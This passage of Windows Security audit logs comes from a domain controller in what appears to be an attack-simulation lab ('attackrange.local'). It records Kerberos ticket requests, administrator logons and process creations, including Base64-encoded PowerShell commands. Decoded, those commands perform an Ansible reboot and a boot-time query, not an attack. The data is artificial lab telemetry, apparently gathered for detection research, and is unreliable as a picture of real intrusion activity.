The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253551
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{618107B9-0133-62FA-6146-B4599AD92FB1}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253550
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{618107B9-0133-62FA-6146-B4599AD92FB1}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253549
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253548
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BABE4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253547
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B8218

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd74
	New Process Name:	C:\Windows\System32\shutdown.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12e8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\shutdown.exe" /r /t 2 /c "Reboot initiated by Ansible"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253546
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B8218

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e8
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb58
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBzAGgAdQB0AGQAbwB3AG4AIAAvAHIAIAAvAHQAIAAyACAALwBjACAAIgBSAGUAYgBvAG8AdAAgAGkAbgBpAHQAaQBhAHQAZQBkACAAYgB5ACAAQQBuAHMAaQBiAGwAZQAiAAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253579
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BF044

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253578
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BF044
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{62455CD1-82E4-B252-3993-C5AC3ABA6D83}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253577
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{62455CD1-82E4-B252-3993-C5AC3ABA6D83}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253576
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{62455CD1-82E4-B252-3993-C5AC3ABA6D83}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253575
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253574
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BDCFC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4616
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security State Change
OpCode=Info
RecordNumber=253601
Keywords=Audit Success
Message=The system time was changed.

Subject:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Process Information:
	Process ID:	0x4b8
	Name:		C:\Windows\System32\svchost.exe

Previous Time:		‎2021‎-‎03‎-‎01T12:43:58.903679700Z
New Time:		‎2021‎-‎03‎-‎01T12:43:58.899000000Z

This event is generated when the system time is changed. It is normal for the Windows Time Service, which runs with System privilege, to change the system time on a regular basis. Other system time changes may be indicative of attempts to tamper with the computer.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253600
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BFF60

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253599
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BFF60
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{439E20AD-EA51-D523-33A7-A70BD5AD2743}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253598
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{439E20AD-EA51-D523-33A7-A70BD5AD2743}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253597
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{439E20AD-EA51-D523-33A7-A70BD5AD2743}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253596
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253595
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BF469

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xff4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13ac
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253594
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BF469

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13ac
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1030
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253593
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BFA6E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253592
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BFA6E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{439E20AD-EA51-D523-33A7-A70BD5AD2743}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253591
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{439E20AD-EA51-D523-33A7-A70BD5AD2743}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253590
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{439E20AD-EA51-D523-33A7-A70BD5AD2743}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253589
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253588
